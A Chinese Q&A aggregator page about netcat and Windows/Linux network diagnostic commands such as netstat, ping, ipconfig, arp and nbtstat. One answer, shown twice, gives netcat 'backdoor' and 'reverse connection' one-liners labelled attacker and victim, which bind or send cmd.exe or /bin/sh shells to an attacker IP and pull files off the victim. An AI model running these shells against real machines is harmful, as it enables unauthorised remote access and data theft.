導航:首頁 > 程序命令 > nc命令顯示連接列表

nc命令顯示連接列表

發布時間:2022-11-03 08:17:31

❶ 電腦常識:DOS命令之NC的定義和用法是

NC(netcat)的使用方法!
連接到某處:nc [-options] hostname port[s] [ports].....
監聽某埠等待連接:nc -l -p port [options] [hostname] [port] -options
-d 後台運行
-e prog 程序重定向,一旦有連接,就執行綁定的程序。
-g gateway source-routing hop point[s], up to 8
-G num source-routing pointer: 4, 8, 12, ...
-h 幫助信息
-i 設定延時時間。
-l 監聽方式,等待連入。連接完成後,結束監聽。
-L 監聽方式,等待連入。連接完成後,繼續監聽。
-n 只能使用ip地址。
-o file 指定要傳送的16進制代碼。
-p port 指定本地的埠號。
-r 隨意指定本地或遠程埠號。
-s addr 本地的源地址。
-t 回顯telnet信息。
-u UDP方式。
-v 顯示詳細的信息,-vv 可獲取更詳細的信息。
-w 指定超時的時間。
-z 用於scan。
以上就是nc的一些參數和選項,注意,這是nt版本的nc。如果是*nix的需要自己編譯。也都差不多,只是netcat.c默認是沒有-t和-e這個兩個參數,要改。
看看它能幹些什麼,(偶就知道這些)
1.埠的刺探:
nc -vv ip port
2.掃描器
nc -v -w 5 ip port-port
nc -v -z ip port-port
3. 後門
victim machine:
nc -l -p port -e cmd.exe
nc -l -p port -e /bin/sh
attacker machine:
nc victim ip -p port
得到一個shell。
4.反向連接
attacker machine:
nc -vv -l -p port
victim machine:
nc -e cmd.exe attacker ip -p port
nc -e /bin/sh attacker ip -p port
或者:
attacker machine:
nc -vv -l -p port1 /*用於輸入*/
nc -vv -l -p prot2 /*用於顯示*/
victim machine:
nc attacker ip port1 | cmd.exe | nc attacker ip port2
nc attacker ip port1 | /bin/sh | nc attacker ip port2
5.傳送文件:
attacker machine <-- victim machine
nc -d -l -p port < path file /*attacker machine*/
nc -vv attacker ip -p port > path file /*victim machine*/
attacker machine --> victim machine
nc -vv -l -p > patm file/*victim machine*/
nc -d victim ip -p port < path file /*attacker machine*/

❷ 查看伺服器當前正在連接IP列表命令是什麼

netstat
-an
netstat命令是一個監控TCP/IP網路的非常有用的工具,它可以顯示路由表、實際的網路連接以及每一個網路介面設備的狀態信息.

❸ 電腦常識:DOS命令之NC的定義和用法是

NC(netcat)的使用方法!
連接到某處:nc [-options] hostname port[s] [ports].....
監聽某埠等待連接:nc -l -p port [options] [hostname] [port] -options
-d 後台運行
-e prog 程序重定向,一旦有連接,就執行綁定的程序。
-g gateway source-routing hop point[s], up to 8
-G num source-routing pointer: 4, 8, 12, ...
-h 幫助信息
-i 設定延時時間。
-l 監聽方式,等待連入。連接完成後,結束監聽。
-L 監聽方式,等待連入。連接完成後,繼續監聽。
-n 只能使用ip地址。
-o file 指定要傳送的16進制代碼。
-p port 指定本地的埠號。
-r 隨意指定本地或遠程埠號。
-s addr 本地的源地址。
-t 回顯telnet信息。
-u UDP方式。
-v 顯示詳細的信息,-vv 可獲取更詳細的信息。
-w 指定超時的時間。
-z 用於scan。
以上就是nc的一些參數和選項,注意,這是nt版本的nc。如果是*nix的需要自己編譯。也都差不多,只是netcat.c默認是沒有-t和-e這個兩個參數,要改。
看看它能幹些什麼,(偶就知道這些)
1.埠的刺探:
nc -vv ip port
2.掃描器
nc -v -w 5 ip port-port
nc -v -z ip port-port
3. 後門
victim machine:
nc -l -p port -e cmd.exe
nc -l -p port -e /bin/sh
attacker machine:
nc victim ip -p port
得到一個shell。
4.反向連接
attacker machine:
nc -vv -l -p port
victim machine:
nc -e cmd.exe attacker ip -p port
nc -e /bin/sh attacker ip -p port
或者:
attacker machine:
nc -vv -l -p port1 /*用於輸入*/
nc -vv -l -p prot2 /*用於顯示*/
victim machine:
nc attacker ip port1 | cmd.exe | nc attacker ip port2
nc attacker ip port1 | /bin/sh | nc attacker ip port2
5.傳送文件:
attacker machine <-- victim machine
nc -d -l -p port < path file /*attacker machine*/
nc -vv attacker ip -p port > path file /*victim machine*/
attacker machine --> victim machine
nc -vv -l -p > patm file/*victim machine*/
nc -d victim ip -p port < path file /*attacker machine*/

❹ 排除一些網路故障的常用命令

常用命令集錦

一、 ping

網管使用最頻的當是ping命令,它不僅可以檢查網路是否連通,還有益於分析判斷網路故障。其常用方法有:

1. ping本機IP

本機始終都是應該對該ping命令作出應答,如沒有,則表示本地配置或安裝存在問題。出現此問題時,區域網用戶可斷開網纜,然後重新發送該命令:如果網線斷開後本命令正確,則表示另一機子可能配置了相同的IP地址。這里顯示的TTL(Time To Live存在時間),表示數據包已通過的路由器數量。

2. ping網關IP

命令應答如果正確,表示區域網中的網關路由器正在正常運行

3. ping遠程IP

如果收到4個應答,表示成功的使用了預設網關。對於撥號上網用戶則表示能夠成功的訪問Internet(但不排除ISP的DNS會有問題)。

4. ping區域網內其他IP

該命令將會經過網卡及網纜到達其他機器後再返回。收到回送應答表明本地網路中的網卡和載體運行正確;但若收到0個回送應答,那麼表示子網掩碼(進行子網分割時,將IP地址的網路部分與主機部分分開的代碼)不正確或網卡配置錯誤或電纜系統有問題。

5. ping localhost

localhost是系統的網路保留名,它是127.0.0.1的別名,每台機器都能將該名字轉換成該地址。

6. ping www.xxx.com(如www.sina.com)

對這個域名執行Ping www.xxx..com地址,通常是通過DNS伺服器。如果出現故障,則表示DNS伺服器的IP地址配置不正確或DNS伺服器有故障。

簡言之,如果ping運行正確,我們大體上就可以排除網路訪問層、網卡、Modem的輸入輸出線路、電纜和路由器等存在的故障,從而減小了問題的范圍。但由於可以自定義所發數據報的大小及無休止的告訴發送,ping也被某些別有用心的人作為DDOS(拒絕服務攻擊)的工具,例如許多大型的網站就是被黑客利用數百台可以告訴介入互聯網的電腦連續發送大量ping數據報而癱瘓的。

二、 Netstat

Netstat用於顯示與IP、TCP、UDP和ICMP協議相關的統計數據,一般用於檢驗本機各埠的網路連接情況。

1. netstat-s

本命令能按照各協議分別顯示其統計數據。如果我們的應用程序或瀏覽器運行速度較慢,或者不能顯示Web頁之類的數據,那麼我們就可以用本選項來查看所顯示的信息。

2. netstat-e

用於顯示乙太網統計數據。它列出了發送和接收端的數據報數量,包括傳送的數據報的總位元組數、錯誤數、刪除數、數據報的數量和廣播的數量,可用來統計基本的網流量。

3. netstat-r

可顯示路由表信息

4. netstat-a

顯示所有有效連接信息列表,包括已建立連接(ESTABLISHED)與監聽連接請求(LISTENING)的連接。

三、 IPConfig

IPConfig用於顯示當前TCP/IP配置。如果我們的機子和所在區域網使用了動態主機配置協議(DHCP),這時IPConfig可以讓我們了解自己的計算機是否成功的租用到一個IP地址,如果租用到則可以了解它目前分配到的是什麼地址。了解機器當前IP地址、子網掩碼和預設網關實際上有利於測試和分析故障。

1. ipconfig

它顯示每個已經配置的介面的IP地址、子網掩碼和預設網關值。

2. ipconfig/all

當使用all選項時,IPConfig能為DNS和WINS伺服器顯示它已經配置且所要使用的附加信息(如IP地址等),並且顯示內置於本地網卡中的物理地址(MAC)。

四、 ARP

ARP(地址轉換協議)是一個重要的TCP/IP協議,用於確定對應IP地址的網卡物理地址。ARP命令能夠查看本地或另一台計算機的ARP高速緩存中的當前內容。

1. arp-a或arp-g

用於查看高速緩存中的所有項目。

2. arp-a IP

如果我們有多個網卡,那麼使用arp-a加上介面的IP地址,就可以只顯示與該介面相關的ARP緩存項目。

五、 Tracert

如果網路連通有問題,可用tracert檢查到達的目標IP地址的路徑並記錄結果。Tracert的使用很簡單,只需要再Tracert後面跟一個IP地址或URL,Tracert一般用來檢測故障的位置,我們可以用「tracert IP」確定在哪個環節上出了問題。

六、 Route

大多數主機一般都是駐留在只連接一台路由器的網段上。由於只有一台路由器,一次不存在使用哪一台路由器將數據報發表到遠程計算機的問題,該路由器的IP地址可作為該網段上所有計算機的預設網關輸入。

但是,當網路上擁有兩個或多個路由器時,我們就不一定想只依賴預設網關了。實際上我們可能想讓我們的某些遠程IP地址通過某個特定的路由器來傳遞,而其他的遠程IP則通過另一個路由器來傳遞。Route print命令用於顯示路由表中的當前項目,在單路由器網段上的輸出。

七、 NBTStat

本命令可釋放和刷新NetBIOS名稱。運用NetBIOS,我們可以查看本地計算機或遠程計算機上的NetBIOS名字表格。

1. nbtstat-n

顯示寄存在本地的名字和服務程序。

2. nbtstat-c

用於顯示NetBIOS名字高速緩存的內容。NetBIOS名字高速緩存用於存放與本計算機最近進行通信的其他計算機的NetBIOS名字和IP地址對。

3. nbtstat-r

用於清除和重新載入NetBIOS名字高速緩存。

4. nbtstat-a IP

通過IP顯示另一台計算機的物理地址和名字列表,我們所顯示的內容就像對方計算機自己運行nbtstat-n一樣。

5. nbtstat-s IP

顯示使用其IP地址的另一台計算機的NetBIOS連接表。

八、 設置共享的命令

1. net share

查看機器的共享資源。

2. 手工刪除共享

Net share c$ /d

Net share d$ /d

Net share ipc$ /d

Net share admin$ /d

3.增加一個共享

C:net share mymovie=e:downloadsmovie/users:l

增加mymovie共享,同時限制鏈接用戶數為1人。

❺ Linux nc命令詳解 Linux nc命令怎麼用

Linux中nc命令是一個功能強大的網路工具,全稱是netcat。
語法:
nc
[-hlnruz][-g<網關...>][-G<指向器數目>][-i<延遲秒數>][-o<輸出文件>][-p<通信埠>][-s<來源位址>][-v...][-w<超時秒數>][主機名稱][通信埠...]
參數說明:
-g<網關>
設置路由器躍程通信網關,最丟哦可設置8個。
-G<指向器數目>
設置來源路由指向器,其數值為4的倍數。
-h
在線幫助。
-i<延遲秒數>
設置時間間隔,以便傳送信息及掃描通信埠。
-l
使用監聽模式,管控傳入的資料。
-n
直接使用IP地址,而不通過域名伺服器。
-o<輸出文件>
指定文件名稱,把往來傳輸的數據以16進制字碼傾倒成該文件保存。
-p<通信埠>
設置本地主機使用的通信埠。
-r
亂數指定本地與遠端主機的通信埠。
-s<來源位址>
設置本地主機送出數據包的IP地址。
-u
使用UDP傳輸協議。
-v
顯示指令執行過程。
-w<超時秒數>
設置等待連線的時間。
-z
使用0輸入/輸出模式,只在掃描通信埠時使用。
實例:
1、TCP埠掃描
#
nc
-v
-z
-w2
127.0.0.1
1-100
Connection
to
127.0.0.1
22
port
[tcp/ssh]
succeeded!
Connection
to
127.0.0.1
53
port
[tcp/domain]
succeeded!
Connection
to
127.0.0.1
80
port
[tcp/http]
succeeded!
...
nc:
connect
to
127.0.0.1
port
100
(tcp)
failed:
Connection
refused
2、從192.168.1.2拷貝文件到192.168.1.3
首先在接收端192.168.1.3上:
nc
-l
1234
>
test.txt
然後在發送端192.168.1.2上:
nc
192.168.1.3
<
test.txt
注意:先運行接收端,指定一個埠為1234,文件為test.txt,再執行發送端,並且發送端必須存在同名的文件test.txt
3、傳輸目錄
從server1(192.168.16.233)拷貝nginx目錄內容到server2(192.168.48.47)上。需要先在server2上,用nc激活監聽,
server2上運行:#
nc
-l
1234
|
tar
xzv-
server1上運行:#
tar
czv-
nginx
|
nc
192.168.48.47
1234
4、簡單聊天工具
在192.168.1.2上:
nc
-l
1234
在192.168.1.3上:
nc
192.168.1.2
1234
這樣,雙方就可以相互交流了。使用ctrl+C(或D)退出

❻ Linux nc命令詳解 Linux nc命令怎麼用

Linux中nc命令是一個功能強大的網路工具,全稱是netcat。

語法:
nc [-hlnruz][-g<網關...>][-G<指向器數目>][-i<延遲秒數>][-o<輸出文件>][-p<通信埠>][-s<來源位址>][-v...][-w<超時秒數>][主機名稱][通信埠...]
參數說明:
-g<網關> 設置路由器躍程通信網關,最丟哦可設置8個。
-G<指向器數目> 設置來源路由指向器,其數值為4的倍數。
-h 在線幫助。
-i<延遲秒數> 設置時間間隔,以便傳送信息及掃描通信埠。
-l 使用監聽模式,管控傳入的資料。
-n 直接使用IP地址,而不通過域名伺服器。
-o<輸出文件> 指定文件名稱,把往來傳輸的數據以16進制字碼傾倒成該文件保存。
-p<通信埠> 設置本地主機使用的通信埠。
-r 亂數指定本地與遠端主機的通信埠。
-s<來源位址> 設置本地主機送出數據包的IP地址。
-u 使用UDP傳輸協議。
-v 顯示指令執行過程。
-w<超時秒數> 設置等待連線的時間。
-z 使用0輸入/輸出模式,只在掃描通信埠時使用。
實例:
1、TCP埠掃描
# nc -v -z -w2 127.0.0.1 1-100
Connection to 127.0.0.1 22 port [tcp/ssh] succeeded!
Connection to 127.0.0.1 53 port [tcp/domain] succeeded!
Connection to 127.0.0.1 80 port [tcp/http] succeeded!
...
nc: connect to 127.0.0.1 port 100 (tcp) failed: Connection refused

2、從192.168.1.2拷貝文件到192.168.1.3
首先在接收端192.168.1.3上: nc -l 1234 > test.txt
然後在發送端192.168.1.2上: nc 192.168.1.3 < test.txt
注意:先運行接收端,指定一個埠為1234,文件為test.txt,再執行發送端,並且發送端必須存在同名的文件test.txt

3、傳輸目錄
從server1(192.168.16.233)拷貝nginx目錄內容到server2(192.168.48.47)上。需要先在server2上,用nc激活監聽,
server2上運行:# nc -l 1234 | tar xzv-
server1上運行:# tar czv- nginx | nc 192.168.48.47 1234

4、簡單聊天工具
在192.168.1.2上: nc -l 1234
在192.168.1.3上: nc 192.168.1.2 1234
這樣,雙方就可以相互交流了。使用ctrl+C(或D)退出

❼ 使用什麼命令查看計算機的網路連接情況

Netstat用於顯示與IP、TCP、UDP和ICMP協議相關的統計數據,一般用於檢驗本機各埠的網路連接情況。

netstat 的一些常用選項 :

1、·netstat –s

本選項能夠按照各個協議分別顯示其統計數據。

如果我們的應用程序(如Web瀏覽器)運行速度比較慢,或者不能顯示Web頁之類的數據,那麼我們就可以用本選項來查看一下所顯示的信息。我們需要仔細查看統計數據的各行,找到出錯的關鍵字,進而確定問題所在。

2、·netstat –e

本選項用於顯示關於乙太網的統計數據。

它列出的項目包括傳送的數據報的總位元組數、錯誤數、刪除數、數據報的數量和廣播的數量。這些統計數據既有發送的數據報數量,也有接收的數據報數量。這個選項可以用來統計一些基本的網路流量)。

3、·netstat –r

本選項可以顯示關於路由表的信息,類似於後面所講使用route print命令時看到的信息。

除了顯示有效路由外,還顯示當前有效的連接。

4、·netstat –a

本選項顯示一個所有的有效連接信息列表。

包括已建立的連接(ESTABLISHED),也包括監聽連接請求(LISTENING)的那些連接。

❽ 如何用命令呼出window的網路連接列表窗口。,不是ncpa.cpl。是windiws右下選

1、滑鼠點擊win7系統的「開始」菜單,選擇「運行」選項;

2、在彈出的對話框中輸入「ncpa.cpl」,按確定鍵;

3、執行完上面的操作後就能進入到Win 7的「網路連接」。

通過「ncpa.cpl」命令能夠迅速的打開網路連接,而且步驟簡單,容易記住,大家不妨學習下以便不時之需。

❾ 查看伺服器當前正在連接IP列表命令是什麼

etstat -an。

netstat命令是一個監控TCP/IP網路的非常有用的工具,它可以顯示路由表、實際的網路連接以及每一個網路介面設備的狀態信息。

在InternetRFC標准中,Netstat的定義是:Netstat是在內核中訪問網路及相關信息的程序,它能提供TCP連接,TCP和UDP監聽,進程內存管理的相關報告。Netstat是控制台命令,是一個監控TCP/IP網路的非常有用的工具,它可以顯示路由表、實際的網路連接以及每一個網路介面設備的狀態信息。Netstat用於顯示與IP、TCP、UDP和ICMP協議相關的統計數據,一般用於檢驗本機各埠的網路連接情況。

如果你的計算機有時候接收到的數據包導致出錯數據或故障,你不必感到奇怪,TCP/IP可以容許這些類型的錯誤,並能夠自動重發數據包。但如果累計的出錯情況數目佔到所接收的IP數據報相當大的百分比,或者它的數目正迅速增加,那麼你就應該使用Netstat查一查為什麼會出現這些情況了。

netstat命令的功能是顯示網路連接、路由表和網路介面信息,可以讓用戶得知有哪些網路連接正在運作。 使用時如果不帶參數,netstat顯示活動的 TCP 連接。

閱讀全文

與nc命令顯示連接列表相關的資料

熱點內容
王者程序員都有誰 瀏覽:71
給牛換腳掌解壓 瀏覽:386
圍棋有多少種演算法 瀏覽:600
unity資源包在哪個文件夾 瀏覽:704
阿里雲伺服器遠程鏈接不成功 瀏覽:482
文件系統pdf 瀏覽:762
原神安卓區服什麼意思 瀏覽:34
貝殼app怎麼線上發布 瀏覽:157
如何挑選安卓系統機頂盒 瀏覽:53
安卓快充使用有什麼注意事項 瀏覽:909
黑馬程序員的雲計算網課 瀏覽:946
endnotestyle文件夾怎麼導入 瀏覽:460
講解少兒編程演講會開頭 瀏覽:424
思科交換機基礎命令 瀏覽:497
便簽可以設置加密嗎 瀏覽:339
免費漫畫app怎麼看書 瀏覽:27
華為筆記本電腦怎麼安裝抖音app 瀏覽:412
阿里雲國際版試用的伺服器怎麼搞 瀏覽:895
java正則表達式工具 瀏覽:160
oa伺服器怎麼設置ftp 瀏覽:10